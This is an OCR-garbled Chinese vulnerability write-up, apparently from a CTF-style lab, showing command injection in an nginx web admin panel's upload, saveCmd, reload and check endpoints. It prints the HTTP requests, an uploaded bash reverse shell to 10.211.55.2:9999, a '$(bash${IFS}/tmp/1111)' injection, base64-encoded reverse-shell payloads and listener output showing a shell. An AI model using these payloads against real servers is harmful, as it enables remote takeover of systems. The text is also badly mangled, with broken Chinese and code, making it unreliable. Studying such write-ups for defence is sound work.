(access_bpf),33(_appstore),100(_lpoperator),204(_devel
oper),250(_analyticsusers),395(com.apple.access_ftp),3
98(com.apple.access_screensharing),400(com.apple.acces
s_remote_ae),701(com.apple.sharepoint.group.1)<br>"

¥

TR LAYEreserveshell E# X4, fEAbashEHITHEF

FMERESFE, HEREEEEFEItemBR, ubuntu/tmpER.. BB AEAmMacosXEEEF M shellFiE
B MHEvar/folders/In/sjz_zm513ng125ngw6c2b_Im0000gn#BA~—4%,

B \n =

Inspectol
Request At
Request Qi
Request B¢
Request Cc
Request He

Response |




m L Inspector

Request Respons
Ra—w Hex = \n = _ Pretty Raw Hex Markinfo = N = Request Attrib

1 POST /adminPage/main/upload HTTP/1.1 1 HTTP/1.1 200 OK
; Host: 127.0.0.1:8088 2 Connection: close Request Quen
3 Content-Length: 234 3 Set-Cookie: SOLONID=3ca5f3345ceadf6laf@adc65eb@6a60b;
4 sec~ch-ua: " Not A;Brand";v="99", "Chromium";v="104" path=/; Max-Age=7200; Expires=Fri, 29-Mar-2024 16:29:35
5 Accept: application/json, text/javascript, */*; g=0.01 GMT Request Body
6 Content-Type: multipart/form-data; 4 Content-Type: application/json;charset=utf-8

boundary=----WebKitFormBoundarypAAaBtaDk12Acmat 5 Content-Length: 49 Request Cooki
7 X-Requested-With: XMLHttpRequest 6 Date: Fri, 29 Mar 2024 14:29:35 GMT
8 sec—ch—ua—mobilg: 70 . . T Request Head
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 8 {

AppleWebKit/537.36 (KHTML, like Gecko) "success'":true,

Chrome/104.0.5112.102 Safari/537.36 "status":"200", Response Hea
10 sec-ch-ua-platform: "mac0S" "obj":"/tmp/1111"
11 Origin: http://127.0.0.1:8088 ¥

12 Sec-Fetch-Site: same-origin

13 Sec-Fetch-Mode: cors

14 Sec-Fetch-Dest: empty

5 Referer: http://127.0.0.1:8088/adminPage/www

16 Accept-Encoding: gzip, deflate

17 Accept-Language: zh-CN,zh;q=0.9

18 Cookie: Hm_lvt_f8cddee34ca21f05373a9388cfdd798b=
1697007254,1697015466,1697073461,1697455685;
Hm_1lvt_8acef669eab6f479854ecd328d1f348f=1700685364;
OFBiz.Visitor=10506; SOLONID=
3ca5f3345ceadf6laf@adc65eb06a60b

9 Connection: close

—————— WebKitFormBoundarypAAaBtaDk12Acmat

22 Content-Disposition: form-data; name="file"; filename=
1111

Content-Type: application/octet-stream

bash -i >& /dev/tcp/10.211.55.2/9999 0>&1

WebKitFormBoundarypAAaBtaDk12Acmat—-

#eubuntuf/m, BIfrce

= = Ir

U Respon:

Raw  Hex B n = Pretty  Raw  Hex n o= g

POST /adminPage/conf/saveCmd HTTP/1.1 1 HTTP/1.1 200 0K
2 Host: 127.0.0.1:8088 2 Connection: close R
3 Content-Length: 56 3 Set-Cookie: SOLONID=3ca5f3345ceadf6laf@adc65eb06a60b;
4 sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="104" path=/; Max-Age=7200; Expires=Fri, 29-Mar-2024 16:29:36
5 Accept: application/json, text/javascript, */*; g=0.01 GMT R
6 Content-Type: application/x-www-form-urlencoded; 4 Content-Type: application/json;charset=utf-8

charset=UTF-8 5 Content-Length: 108 R
7 X-Requested-With: XMLHttpRequest 6 Date: Fri, 29 Mar 2024 14:29:36 GMT

sec-ch-ua-mobile: 7@ 7 R
9 User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64) 8 {

AppleWebKit/537.36 (KHTML, like Gecko) “success":true,

Chrome/104.0.5112.102 Safari/537.36 “status":"200", R

sec-ch-ua-platform: "mac0S"

Origin: http://127.0.0.1:8088

> Sec-Fetch-Site: same-origin

3 Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

5 Referer: http://127.0.0.1:8088/adminPage/conf }
6 Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

18 Cookie: Hm_lvt_f8cddee34ca21f05373a9388cfdd798b=
1697007254,1697015466,1697073461,1697455685;
Hm_lvt_8acef669ea66f479854ecd328d1348f=1700685364;
OFBiz.Visitor=10506; SOLONID=
3ca5f3345ceadf6laf@adc65eb06a60b

19 Connection: close

$(bash${IFS}/tmp/1111)",

nc -1 9999 21 nginxExe=bash&nginxDir=&nginxPath=s$(bash${IFS}/tmp/1111)

ric #30-Ubuntu SMP Mon Apr 20 1 130

0x04 reload X317

com.cym.controller.adminPage.ConfController#reload



@Mapping(value = )

JsonResult reload(String nginxPath, String nginxExe
(nginxPath == ) {
nginxPath = ToolUtils.handlePath( .get(
.set( nginxPath)

(nginxExe == ) {
nginxExe = ToolUtils.handlePath(

.set( nginxExe)

(nginxDir == ) {
nginxDir ToolUtils. handlePath(

.set( nginxDir)

{

String cmd = nginxExe + + nginxPath
(StrUtil. isNotEmpty(nginxDir)) {
cmd += + nginxDir

}
String rs = RuntimeUtil.execForStr(cmd)
cmd = + cmd +

Rt AIFRE, £FE, RETIR, REHE, #HITHT.

cn.hutool.core.util.RuntimeUtil#exec(java.lang.String...)

Process kxec(String... cmds) {

{

))

String nginxDir) ¢

Process process = ( ProcessBuilder(handleCmds(cmds))).redirectErrorStream(

process
(IOException var3) {

IORuntimeException(var3)

RESARIIEE, MLERR, 2RI
g
£ fjavats VBT

Input type: @Bash OPowerShell OPython O Perl

e

).start(Q)

/bin/bash -i >& /dev/tcp/10.211.55.2/9999 0>&1

bash -c {echo,L2]pbi9iYXNoIC1pID4mICIKZXYvdGNwLZzEwLjIXMS4INS4yLzk50TkgMD4mMQ==} |{base64,-d}|{bash,-i}




Request

OV A WN

~

o

10
11

3

14
15

Raw Hex = \n

POST /adminPage/conf/reload HTTP/1.1

Host: 10.211.55.14:8088

Content-Length: 136

Accept: application/json, text/javascript, =/%; q=0.01
X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/104.0.5112.102 Safari/537.36

Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

Origin: http://10.211.55.14:8088

Referer: http://10.211.55.14:8088/adminPage/conf
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SOLONID=3ca5f3345ceadf6lafQ
Connection: close

c65eb@6a60b

nginxPath=&nginxExe=
bash+-c+{echo,L2Ipbi9iYXNoIC1pID4mICIKZXYvdGNwLZEwWLjIxXMS
41NS4yLzk50TkgMD4mMQ%3d%3d} | {base64,-d} | {bash,-i}§
nginxDir=

e Bundle 'messages’

96,249 in group "main": RUNNING

Process exec(String...

v O & - {

S Process process = (
process

(IOException var3) {

IORuntimeException(var3)

Process exec(String[] envp, String...

Process exec(Strinal’l envn

Variables

+ dir =

cmds) {

IS

o ~NoOWm

ProcessBuilder(handleCmds(cmds))).redirectErrorStream(

File dir

Response

Pretty Raw Hex MarkInfo B \n =
1 HTTP/1.1 200 0K

2 Connection: close

3 Set-Cookie: SOLONID=3ca5f3345ceadf6laf@adc65eb0@6a60b;

path=/; Max-Age=7200; Expires=Fri, 29-Mar-2024 18:26:07
GMT
Content-Type: application/json;charset=utf-8

Content-Length: 399
Date: Fri, 29 Mar 2024 16:26:07 GMT
{

"success":true,

"status":"200",

"obj":

"<span class='blue'>bash -c {echo,L2]pbi9iYXNoIC1pID4m
IC9KZXYvdGNwLZEwWL j IxMS41NS4yLzk50TkgMD4mMQ==} | {base64,
-d}|{bash,-i} -s reload -c </span><br>EE&HMIN<br>]0;
pwn@CTF: ~/$SME\7[01;32mpwn@CTF[00m: [01;34m~/ £ [0OMS /
bin/bash -i >& /dev/tcp/10.211.55.2/9999 0>&1<br>]0;pw
n@CTF: ~/SME\7[01;32mpwn@CTF [00m: [01;34m~/ £ [00m$ exi
t<br>"

).startQ)

cmds) exec(envp, (File) cmds)

Strina cmds) {

Insp
ReqL
ReqL
ReqL
ReqL
ReqL

Resg

~ cmds =

0=

["bash -c {echo,L..."]
til (cn.hutool.core.util)

nc -1 9999
pwn@CTF:~

,4(ad ,27(sudo),30(d1 121(1lpadmin),131 ), sambashar

(pwn)

R INFREXshell

0x05 check fXIBH 1T

com.cym.controller.adminPage.ConfController#check



@Mapping(value = )
JsonResult check(String nginxPath, String nginxExe, String nginxDir, String json) {
(nginxExe == ) {
nginxExe = ToolUtils.handleConf( .get{ ))

.set( nginxExe)

(nginxDir == ) {
nginxDir = ToolUtils.handleConf(

.set( nginxDir)

JSONObject jsonObject = JSONUtil.parseObj(json)
String nginxContent = Baseb64.decodeStr(jsonObject.getStr( ), CharsetUtil.

EIE ) /_:EE_I??E ) E;ﬁﬂ;:m

BE&ERexecforstr(), ARIEMABHIT
.replace(fileTemp, nginxContent, subContent, subName

String rs =

String cmd =

{
ClassPathResource resource = ClassPathResource(

FileUtil.writeFromStream(resource.getStream()

cmd = nginxExe + + fileTemp
(StrUtil. isNotEmpty(nginxDir)) {
cmd += + nginxDir

}

rs = RuntimeUtil.execForStr(cmd)

(Exception e) {

Process kxec(String... cmds) {
{

Process process = ( ProcessBuilder(handleCmds(cmds))).redirectErrorStream( ).start(Q)
process
(I0Exception var3) {
IORuntimeException(var3)

BANRFEXnGInXEXeMEFT, jsonfRIFEIA, HRAFREIA

g




Input type: @Bash OPowerShell OPython O Perl

/bin/bash -i >& /dev/tcp/10.211.55.2/9999 0>&1

bash -c {echo,L2]pbi9iYXNoIC1pID4mICOkZXYvAGNwLZzEwWLjIXMS4INS4yLzk50TkgMD4mMQ==} | {base64,-d} |{bash,-i}

A Rijavaz58payload

Raw Hex 5 \n = Pretty Raw Hex Markinfo \n
nc -1 9999 1 POST /adminPage/conf/check HTTP/1.1 1 HTTP/1.1 200 OK
o~ 2 Host: 10.211.55.14:8088 2 Connection: close
3 Content-Length: 500 3 Set-Cookie: SOLONID=3ca5f3345ceadf6laf@adc65eb06a60b;
4 Accept: application/json, text/javascript, */¥; q=0.01 path=/; Max-Age=7200; Expires=Fri, 29-Mar-2024 18:37:00
5 X-Requested-With: XMLHttpRequest GMT
1 6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 4 Content-Type: application/json;charset=utf-8
nc -1 9999 AppleWebKit/537.36 (KHTML, like Gecko) 5 Content-Length: 406
= Chrome/104.0.5112.102 Safari/537.36 6 Date: Fri, 29 Mar 2024 16:37:00 GMT
pwn@CTF [ 4 . .
id 7 Content-Type: application/x-www-form-urlencoded; 7
uid=1000(pwn) 0(pwn) £ charset=UTF-8 84
8 Origin: http://10.211.55.14:8088 "success":true,
pwn@CTF: A 9 Referer: http://10.211.55.14:8088/adminPage/conf "status":"200",
10 Accept-Encoding: gzip, deflate "obj":
11 Accept-Language: zh-CN,zh;q=0.9 "<span class='blue'>i§fSh -c {echo,L2Ipbi9iYXNoIC1pID4
base ~ 12 Cookie: SOLONID=3ca5f3345cead4f6laf@adc65eb06a60b IC9kZXYvdGNwLZEwWL j IXMS41NS4yLzk50TkgMD4mMQ==} | {base64
Connection: close -d}|{bash,-i} -t -c /tmp/temp/nginx.conf</span><br>#
14 %M<br>10; pwn@CTF: ~/%E\7[01;32mpwn@CTF [@0m: [01;34m-
15 nginxPath=&nginxExe= [@e@m$ /bin/bash -i >& /dev/tcp/10.211.55.2/9999 0>
bash+-c+{echo,L2Jpbi9iYXNoIC1pID4mICIkZXYvdGNwLZEwWLj IxMS 1<br>10; pwn@CTF: ~/SME\7[01;32mpwn@CTF [@@m: [01;34m~/%
41NS4yLzk50TkgMD4mMQ%3d%3d} | {base64,~d} |{bash,-i}& m[0eoms exit<br>"

nginxDir=&json= |
%7B%22nginxPath%22%3A%22%24 (bash%24%7BIFS%7D%2F tmp%2F111
1)%22%2C%22nginxContent%22%3A%22d29ya2VyX3Byb2N1c3N1cyBh

dXRvOwp ldmVudHMgewogICAgd29ya2VyX2Nvbms 1Y3Rpb252ICAXMDIO
OwogICAQYWNjZXBOX211dGV4IGIuOwogIHOKaHROCCB7CiAgaWs jbHVkK
ZSBtaW1lLnR5cGVzOwogIGR1ZmF1bHRfdHlwZSBhcHBsaWNhdGlvbi9v
Y3R1dC1zdHI1YWO7Cn@K%22%2C%22subContent%22%3A%5B%5D%2C%2
2subName%22%3A%5B%5D%7D

FiIhrce
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